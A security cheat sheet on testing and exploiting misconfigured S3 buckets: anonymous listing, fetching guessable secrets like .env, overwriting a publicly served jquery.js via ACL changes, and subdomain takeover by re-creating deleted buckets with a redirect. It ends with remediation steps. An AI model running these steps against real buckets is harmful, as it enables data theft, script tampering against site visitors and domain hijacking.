$ a note for bucket owners

If you are reading this then there is a chance you have a poc.txt in your S3 bucket.

This is just a little heads up to say attackers can upload and overwrite files in your S3 bucket, and if you are serving up files like JavaScript they can add an XSS payload or coinhive miner to your JS.

If you log in to your AWS console, find the bucket and remove the public-write permission from the bucket. This will fix the issue.

$ testing a bucket for bad permissions

You will need the AWS CLI installed and configured.

aws s3api get-bucket-acl --bucket bucketname

If you see the following then you have problems:

{
    "Permission": "FULL_CONTROL",
    "Grantee": {
        "URI": "http://acs.amazonaws.com/groups/global/AllUsers",
        "Type": "Group"
    }
}

Log in to your AWS console and remove the public-write permission ASAP.

$ anonymous bucket enumeration

You do not always need credentials to poke at a bucket. Many checks work unauthenticated:

# List objects anonymously — works only if ListBucket is granted to Everyone
aws s3 ls s3://bucketname --no-sign-request

# Anonymous object listing via the website endpoint
curl https://bucketname.s3.amazonaws.com/

# Check whether anonymous reads are allowed on a known object
curl -I https://bucketname.s3.amazonaws.com/js/jquery.js

# Anonymous upload test (do this only on buckets you are authorised to test)
echo "poc" | aws s3 cp - s3://bucketname/poc.txt --no-sign-request

A 403 on the bucket root usually means listing is denied, while a NoSuchBucket error means the bucket does not exist — which is a takeover opportunity, not a permission problem.

$ ListBucket vs GetObject vs PutObject

These are three different permissions, and buckets frequently get them wrong in different directions:

# ListBucket: can you enumerate the objects?
aws s3 ls s3://bucketname

# GetObject: can you read a known object even if listing is blocked?
# (guess common names: backup.zip, dump.sql, .env, config.json, keys/*)
aws s3 cp s3://bucketname/.env - 

# PutObject: can you write?
aws s3 cp poc.txt s3://bucketname/poc.txt

A common misconfiguration is GetObject open to Everyone while ListBucket stays closed. Listing is denied, but any object whose name you can guess is downloadable. Another is write-only buckets where PutObject is public but reads are not — perfect for planting files that a web app later serves.

$ checking the bucket policy and ACL with the AWS CLI

ACLs and bucket policies are separate layers; check both, because a policy can grant public access even when the ACL looks clean:

# Bucket policy — look for Principal: "*" with s3:PutObject
aws s3api get-bucket-policy --bucket bucketname

# Bucket ACL
aws s3api get-bucket-acl --bucket bucketname

# Object-level ACL
aws s3api get-object-acl --bucket bucketname --key jquery.js

# Public-access block settings (a well-configured bucket blocks all of these)
aws s3api get-public-access-block --bucket bucketname

# Whether the bucket hosts a website and where it redirects
aws s3api get-bucket-website --bucket bucketname

$ finding buckets via response signatures

S3 endpoints have distinctive error pages you can fingerprint. Searching JavaScript files, source maps and HTTP responses for these signatures often reveals bucket hostnames:

# Signature errors returned by S3 XML endpoints
#   ListBucketResult          — anonymous listing succeeded
#   NoSuchBucket              — bucket deleted, takeover candidate
#   AccessDenied              — bucket exists, listing denied
#   NoSuchKey                 — bucket exists, object missing
#   PermanentRedirect         — bucket exists in another region

# Typical host formats worth grepping for in JS bundles and pages
#   bucketname.s3.amazonaws.com
#   bucketname.s3.eu-west-1.amazonaws.com
#   s3.amazonaws.com/bucketname
#   files.example.com  (CNAME to a bucket)

Shodan, Censys and certificate-transparency logs also index S3 website endpoints, and tools such as lazys3, s3recon or CloudBrute can brute-force bucket names from a company wordlist.

$ uploading a PoC to a bucket

aws s3 cp poc.txt s3://bucketname --region us-east-2 --acl public-read

Change the region of the bucket if it is not in us-east-2.

If you see an error then the bucket does not allow public uploads.

$ bad object permissions hijack

On the rare occasion you can test files for AllUsers control. This means the bucket is not writeable but the file is.

You can find this out by doing:

aws s3api get-object-acl --bucket bucketname --key jquery.js

If you see AllUsers FULL_CONTROL then you can overwrite this file.

To do this you need to do the following command:

aws s3api put-object-acl --bucket bucketname --key jquery.js --grant-full-control emailaddress=YOURAWSEMAILADDRESS --grant-write uri=http://acs.amazonaws.com/groups/global/AuthenticatedUsers

Now all you do is download the file, alter it and re-upload it:

aws s3 cp jquery.js s3://bucketname --region us-east-2 --acl public-read

$ subdomain takeover / redirect

Sometimes when you visit a website you might see NoSuchBucket, which means the S3 bucket that hosted the files for that site is no longer around and has been deleted. You can easily hijack this by creating the bucket.

Create the bucket:

aws s3api create-bucket --bucket bucketname --acl public-read --region us-east-1

redirect.json:

{
    "RedirectAllRequestsTo": {
        "HostName": "takeover.xsses.rocks"
    }
}

Change the hostname to your takeover page.

aws s3api put-bucket-website --bucket bucketname --website-configuration file://redirect.json

The website will now redirect to your webpage.

$ dangling CNAMEs and takeover risk

Takeover is not limited to deleted buckets. Any DNS record pointing at a bucket name that nobody owns is claimable — first come, first served on the global bucket namespace:

# Find the CNAME
dig files.example.com CNAME

# If it resolves to something like:
#   files.example.com.s3.amazonaws.com
# the target bucket name is files.example.com

# Check whether that bucket exists and who it belongs to
curl -s https://files.example.com.s3.amazonaws.com/ | head -5

# NoSuchBucket here + a live CNAME = you can create the bucket
# and serve content on the victim's subdomain (cookies, CORS, OAuth callbacks)

Watch out for region mismatches too: a bucket created in the wrong region returns a PermanentRedirect, and wildcard or multi-region endpoints behave differently from regional ones.

$ downloading from a bucket

Change the mybucket and the file to whatever you want, and this will download the file to your /tmp/ folder:

aws s3 cp s3://mybucket/one-central/js/qa.js /tmp/

$ downloading everything in a bucket

This will sync everything you have permission to view onto your machine:

aws s3 sync s3://mybucket --recursive

$ remediation checklist

# Block all public access in one go (the safest default)
aws s3api put-public-access-block --bucket bucketname \
    --public-access-block-configuration \
    BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

# Audit every account bucket for public ACLs or policies
for b in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do
    echo "== $b"
    aws s3api get-bucket-acl --bucket "$b"
    aws s3api get-bucket-policy-status --bucket "$b"
done

Prefer IAM policies over ACLs, keep website hosting separate from data buckets, and enable CloudTrail S3 data events so that unexpected anonymous writes are logged.